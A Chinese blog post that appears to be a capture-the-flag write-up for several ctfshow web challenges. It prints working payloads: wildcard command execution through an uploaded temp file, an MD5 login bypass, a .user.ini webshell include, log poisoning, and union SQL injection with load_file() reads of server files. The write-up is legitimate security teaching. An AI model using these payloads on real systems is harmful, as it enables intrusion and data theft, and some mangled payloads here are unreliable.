ctfshow web

ctf.show_红包题第二弹1

打开题目显示这样

看看源码有无提示

可以看到提示了cmd参数,那我们就随便传点东西看看会有什么回显

又是代码审计,可以看到大小写字母过滤后只有小写p可以使用,下面还过滤了一堆符号,对应着键盘看发现只有` ? / + < > =可以使用

写到这里可以发现这是命令执行漏洞了

那么我们就可以构造命令绕过

/?cmd=?><?=`.+/??p/p?p??????`

2.3.1: 等于

在php中,称为短标签,称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。

2.3.2:反引号``(键盘Tab键上面那个键)

在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,否则会出错。如下语句可得系统日期:

<?= `date` ?>

2.3.3:点 .

点命令等于source命令,用来执行文件。

source /home/user/bash  等同于  . /home/user/bash

2.3.4:加号 +

    URL编码中空格为%20,+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。

2.3.5:/??p/p?p??????

2.3.5.1:临时文件夹目录
    php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file() 函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。
2.3.5.2:临时文件命名规则
    默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp  linux下:phpXXXXXX。
2.3.5.3:通配符
    问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

2.4:上传文件

用burpsuite发送POST请求,上传文件。(注意:Content-Length下必须空一行)

以上请求头修改了3个地方:

POST /?cmd=?><?=.+/??p/p?p??????; HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

! /bin/sh

cat /flag.txt
-----------------------------10242300956292313528205888--
2.4.1:Content-Type
Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对

                                          ②multipart/form-data:上传文件

2.4.2:boundary
boundary为边界分隔符

    文件开始标记:-----------------------------10242300956292313528205888

    文件结束标记:-----------------------------10242300956292313528205888--

    其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。

2.4.3:文件内容
#! /bin/sh 指定命令解释器,#!是一个特殊的表示符,其后,跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,如:sh,csh,ksh,tcsh。首先用命令ls / 来查看服务器根目录有哪些文件,发现有flag.txt,然后再用cat /flag.txt 即可。

ctf.show_web9

尝试爆破无果,应该不是弱口令爆破题,那么我们就扫一下目录

进去看看

访问该目录后会自动下载一个php文件,打开看看

可以看出这是一个sql注入漏洞,通过post传参一个paasword的变量值。经过md5加密后被用来与用户名匹配

md5($pass, true) 返回的是 MD5 哈希的二进制形式,而不是十六进制字符串。当 pass=ffifdyop 时,其 MD5 哈希的二进制形式在某些情况下可能包含特殊字符,导致 SQL 注入等安全问题

这里我们可以用 ffifdyop进行绕过,具体分析:

  1. MD5 哈希计算
    • ffifdyop 的 MD5 哈希是 276f722736c95d99e921722cf9ed621c
    • 二进制形式为:' or '6<trash>,其中 <trash> 是乱码。
  2. SQL 注入
    • 如果直接将二进制哈希用于 SQL 查询,可能会形成 ' or '6<trash> 这样的字符串。(补充:在mysql中,做布尔类型判断时,我们会将‘1xxxxx’这样有整数开头的字符串直接视作整型数,要注意的是这种情况是必须要有单引号括起来的,比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true所以这里使用的sql语句可以化简为select * from 'admin' where password='or 6
    • 在 SQL 中,' or '6 可能被解释为 ' or '6'='6',导致条件恒为真,从而绕过身份验证。

输入 ffifdyop即可得到flag

ctf.show_web13

今天也算是碰到一个新类型的文件上传类的题目(与文件包含结合了可以说)首先尝试了直接传一句话木马,全都被ban了,算是没招了就扫了下目录,

进去看一眼,好像页面没回显什么东西,再试试看upload.php.bak(这里看备份文件算是一种新思路,说不定过滤了什么东西或者是题目提示啥的就藏在里面)

我们可以看到文件大小不能超过24个字节,文件名不能超过9个字符,文件名过滤了php和i,上传正常的一句话木马和图片马都会显示 error file size

这个时候重头戏来了,我们可以利用 .user.ini这个配置文件来进行文件包含

在php中".user.ini"有如下解释:php会在每个目录下搜寻文件名,如果设定为空字符串则php不会搜寻,也就是在“.user.ini”中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去

用脚想都知道我们肯定是要包含一句话木马,但是又不能超过24个字节,那么我们可以这么写,(写.txt文件里面,php会被ban)

<?php eval($_GET('a'))

这样可以算一个木马(因为我刚写完就被windows给杀了),.user.ini文件可以这么写,

auto_prepend_file:在页面顶部加载文件

auto_append_file:在页面底部加载文件(上下两个任取一个即可)

写好以后上传即可

这边由于题目有点问题暂时打不开,没办法演示了,上传完以后在网站url后拼接 /?a=print_r(scandir(./)),查看当前目录下的所有文件,可以看见我们刚刚上传的.user.ini文件还有a.txt文件,还有一个超长名字的php文件,然后利用命令查看该文件即可

/?a=highlightfile(dhawuoidhaiohdoiawdioad.php)

ctf.show_web12

页面无回显,打开页面源码看看

感觉没什么东西,等等,怎么有个?cmd,我猜应该就是命令执行漏洞

?cmd=var_dump(scandir('./'));

利用上面的代码查看页面当前目录下的文件有什么

这里有个巨长名字的php文件猜测flag应该就在这个文件里面

ctf.show_web11

简单的代码审计,这段代码定义了一个名为replaceSpecialChar的函数,该函数接受一个字符串$strParam作为参数。函数内部使用了正则表达式$regex来匹配SQL语句中的一些关键字,包括selectfromwherejoinsleepand、空格\sunion和逗号,preg_replace($regex,"",$strParam)函数会将匹配到的任何关键字替换为空字符串,从而移除这些关键字。strlen($password)计算原始密码字符串的长度。strlen(replaceSpecialChar($password))计算经过replaceSpecialChar函数处理后的密码字符串的长度。如果处理后的密码字符串长度与原始密码字符串长度不同,说明原始密码中包含了正则表达式匹配的关键字,代码会调用die("sql inject error")终止脚本并输出错误信息“sql inject error”

验证用户输入的密码是否与存储在会话($_SESSION)中的密码匹配。

如果两个密码相等,代码会输出一个变量$flag的内容,这个变量通常用于存储某种标志或成功消息。

如果两个密码不相等,代码会输出“error”,表示密码验证失败。

最后这个password和session中的password对比非常关键,正常来说既要绕过过滤还要保证前后 长度相同还是很难的,但是这里给了一条生路就是你可以抓包然后把session的值改为和你登陆密码一样的值就可以获得flag了

ctf.show_web5

参数简单翻译一下就是get传参两个参数,v1和v2,如果v1的值不全为字母,输出v1 error,v2的值不全为数字,输出v2 error,

又是弱比较,所以我们只要传入一个全为字母一个全为数字且两者md5值均为0e开头的v1和v2即可出flag

ctfshow web 4

尝试data和input伪协议

我们打开题目可以看到这是一个文件包含漏洞,尝试一下data伪协议或者php伪协议

文件包含我们尝试了input协议和data协议,但是都不可行,应该都被禁用了。

发现可以日志文件包含

所以我们再看看它的数据包吧。可以看到他的web服务器是nginx

访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
apache2一般是/var/log/apache2/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

在日志中写马

查看日志发现,每访问一次数据包中的UA头会被写进日志中,那就尝试在UA头中写马

 在UA头后插入一句话木马后日志文件里并未显示说明木马已经被解析了

image

ps:其实这里可以用post型一句话木马然后连接antsword的,但是不知道我的antsword为什么抽风连接不上,所以直接用get型马做了

ctfshow web 6

打开题目就是一个登陆框,利用弱口令字典爆破后发现没结果,猜测应该是sql联合注入

提示我sql注入出错,估计有waf,看看数据包会是什么waf

仔细观察数据包,发现本来应该空格应该会被url编码为%20的,但是这里没有,猜测应该是过滤了空格

常见空格过滤绕过

%0A
%0B
%0D
%A0
/**/

判断回显位有多少列

admin'/**/or/**/1=1/**/order/**/by/**/3#(正常情况下这里应该是不用加or 1=1的,不清楚为什么这里要加,不加还不显示结果)

判断回显位

admin'/**/union/**/select/**/1,2,3#

可以看到第二位为回显位

爆库

admin'/**/union/**/select/**/1,database(),3#

爆表

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

爆字段名

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

爆数据

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

可以得到flag为ctfshow{e703060b-4528-4fdd-b792-b824fd57a2c1}

ctfshow web 10

打开题目长这样,点击取消会自动下载indexs.php文件,打开查看源码

<?php
        $flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        $sql="select * from user where username = '$username'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功<br>";
                            echo $flag;
                        }

                     }
            }
    ?> 

$regex 告诉了我们一些sql查询过滤的一些语句,正常情况下来说我们会使用双写来绕过,但是

if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }

这两个if语句会限制你用双写绕过,会比较长度和内容,这你不就炸杠了吗

源码中先根据用户名查询用户信息, 用户名通过以后, 再判断密码是否相同, 我们绕过用户名的过滤条件, 在使用 with rollup注入绕过密码

这边查了网上大佬的wp发现mysql里面有个with rollup函数绕过

with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位

这里我们利用 admin'/**/or/**/1=1(这道题试了一下貌似还是有空格过滤,太无聊了)保证前面的username查询为真,使其成功查询username,接下来就会password是否和username匹配,我们就先使用group by函数将password分组,由于with rollup不会对password

image

ctfshow萌新计划web 1

可以看到这道题是sql注入题目 ,通过get传参一个id的值,判断id值是否大于999,大于报错,小于就拼接sql语句

例如输入id=1

可以看到flag在id=1000

但是输入1000就会大于999

所以就要想办法绕过,

id=1 or id=1000(此处intval函数得到的值是1,绕过了判断语句,从而执行sql语句,得到flag)

ctfshow web 14

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

闲来无事,就把所有传参c能回显的值都试了一遍,传入c等于3333的时候,页面有回显

给了一个网页,去看看

我去,这不会是sql注入吧

查看页面源码,可以知道过滤了以下东西具体过滤的内容如下:

  1. <font style="color:rgb(64, 64, 64);">information_schema.tables</font> - 过滤了对MySQL信息模式中tables表的引用
  2. <font style="color:rgb(64, 64, 64);">information_schema.columns</font> - 过滤了对MySQL信息模式中columns表的引用
  3. <font style="color:rgb(64, 64, 64);">linestring</font> - 过滤了MySQL的空间数据类型LINESTRING
  4. (空格) - 过滤了空格字符
  5. <font style="color:rgb(64, 64, 64);">polygon</font> - 过滤了MySQL的空间数据类型POLYGON

空格过滤了就使用/**/

先测试一下回显位

:::info
1//order//by/**/1#

:::

:::info
1//order//by/**/2#

:::

可以得知回显位为1

接下来就开始爆库

:::info
-1//union//select/**/database()#

:::

:::info
-1//union//select//group_concat(table_name)//from//information_schema.tables//where/**/table_schema='web'#(<font style="color:rgb(64, 64, 64);">tables</font> 是MySQL的保留关键字(它是information_schema数据库中的一个系统表名)。当你在SQL语句中使用保留关键字作为表名或列名时,必须用反引号将其括起来,否则MySQL会将其解释为关键字而不是标识符。)

:::

:::info
-1//union//select//group_concat(column_name)//from//information_schema.columns//where/**/table_name='content'#

:::

:::info
-1//union//select//group_concat(id,username,password)//from/**/content#

:::

看来还不是直接存在于字段中,还有高手,看到secret,突然想起来之前是不是有个include(secret.php),感觉可以读取secret.php来看看有没有线索,这里要用到mysql中的load_file函数

在Msql注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件

而load_file函数只有在满足两个条件的情况下才可以使用:

1、文件权限:chmod a+x pathtofile

2、文件大小:必须小于max_allowed_packet

:::info
-1//union//select/**/load_file('/var/www/html/secret.php')#

:::

页面没有直接回显,但是查看源码即可看到

直接查看/real_flag_is_here

:::info
-1//union//select/**/load_file('/real_flag_is_here')#

:::

posted @ 2025-09-19 21:49  朱迪Judy  阅读(20)  评论(0)    收藏  举报